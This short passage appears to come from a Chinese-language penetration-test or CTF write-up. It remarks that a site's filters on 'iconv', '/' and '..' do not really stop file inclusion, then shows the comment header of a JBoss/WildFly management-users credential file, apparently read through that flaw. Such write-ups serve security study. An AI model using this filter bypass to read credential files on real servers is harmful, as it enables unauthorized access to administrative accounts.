可以看出，网站关闭了远程文件包含，同时这里对 iconv 和 / 以及 .. 进行了过滤，但是实际测试中并没有 实质性限制

# Properties declaration of users for the realm 'ManagementRealm' which is the default realm
# for new installations. Further authentication mechanism can be configured
# as part of the <management /> in host.xml.
#
# Users can be added to this properties file at any time, updates after the server has started
# will be automatically detected.
#
# By default the properties realm expects the entries to be in the format: -
# username=HEX(MD5( username ':' realm ':' password))
#
# A utility script is provided which can be executed from the bin folder to add the users: -
# - Linux
# bin/add-user.sh
#
# - Windows
# bin\add-user.bat
#
#$REALM_NAME=ManagementRealm$ This line is used by the add-user utility to identify the realm name already used in this file.
#
# On start-up the server will also automatically add a user $local - this user is specifically
# for local tools running against this AS installation.
#
# The following illustrates how an admin user could be defined, this
# is for illustration only and does not correspond to a usable password.
